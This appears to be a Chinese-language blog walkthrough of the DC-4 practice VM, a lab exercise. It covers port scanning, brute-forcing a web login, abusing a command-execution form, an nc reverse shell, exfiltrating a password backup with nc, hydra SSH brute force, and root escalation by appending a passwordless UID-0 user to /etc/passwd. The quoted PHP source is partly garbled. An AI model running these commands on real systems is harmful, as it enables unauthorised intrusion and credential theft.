个人博客:点我
DC系列共9个靶场 本次来试玩一下DC-4 只有一个flag 下载地址。
下载下来后是 .ova 格式 建议使用vitualbox进行搭建 vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式 桥接模式可能会造成目标过多不易识别。
IPDC-4: 192.168.31.176
Kali: 192.168.31.17
Win7: 192.168.31.168
首先是主机发现 得到靶机ip
arp-scan -l
对其进行端口扫描 开放了80、22、4444端口
nmap -sV -A -p- 192.168.31.176
先80端口登上去看一看 是个登录窗口。
御剑对其进行目录扫描 所有php网页都是跳转到index.php 因此无论如何都要登录进去得了。
这个登录界面做的很简易 明显就是想让人攻进去。或许存在sql注入(但我没有试出来) 直接丢进burp一波爆破 爆出账号admin 密码happy。登进去后是一个命令执行。
使用burp抓个包看看能否截获。果然只要修改radio的值就能修改执行的命令。
当然shadow是不可能让我们看的 可以看一看login.php 密码确实是happy。部分源码如下
login.php
?php
$username $_POST[ username
$password $_POST[ password
if ($username admin $password happy ) {
$_SESSION[ LoggedIn ] $username;
else
command.php
if (isset($_SESSION[ LoggedIn ])) {
if (isset($_POST[ submit ])) {
if(isset($_POST[ radio ]))
echo You have selected: .$_POST[ radio ] . br /
$my_cmd $_POST[ radio
//echo $my_cmd;
$output shell_exec($my_cmd);
echo pre
print $output;
echo /pre
echo p a href login.php Return to the menu. /a
本来想上传个webshell 结果当前目录没有写的权限 我是用命令执行漏洞nc反弹shell的。
nc -lvp 4444 -e /bin/bash #靶机发送shell nc 192.168.31.176 4444 #kali连接
python建立虚拟终端
python -m improt pty;pty.spawn( /bin/bash
登录进来就是www-data用户。
提权然后就各处常见目录翻一翻 最终在/home中发现三个人类用户- jim, charles, sam
只有在jim中有文件 其他都是空的。
test.sh就是个循环四五遍的echo测试 mailbox是root发给他的一封信 也没有什么有价值的内容。backups中有文件old_passwords.bak密码备份文件 利用python建立HTTP服务或直接nc传输到kali上来进行ssh的爆破。
nc 192.168.31.17 7890 old_passwords.bak nc -lvp 4444 pass.txt hydra -l jim -P pass.txt 192.168.31.176 ssh
爆破出jim的ssh密码为 jibril04
直接ssh连上去。sudo -l看一下能执行什么管理员权限 结果直接sudo就没有权限。内核漏洞更是不存在。
这里我卡了很久 一直没有什么提权思路 jim的权限着实太低了什么都不能干 一直想着怎么提到root 最后想到还有两个用户 可以二次提权。最终那封邮件给了我启发 在/var/mail中找到一封jim的邮件 查看里面就有charles的密码 真是没想到。
su到charles后就能执行sudo -l了 发现teehee是可以以无密码以sudo执行的。
我也不知道teehee是什么 –help看一下文档
-a 参数可以追加文件 但不会覆盖 直接就想到了在passwd中加一个root权限的用户不就可以提权了。
echo haha123::0:0:::/bin/bash | sudo teehee -a /etc/passwd su haha123
最后在/root中找到flag
整个靶场整体并不难 主要是后来得提权要通过邮件还是难想到的。



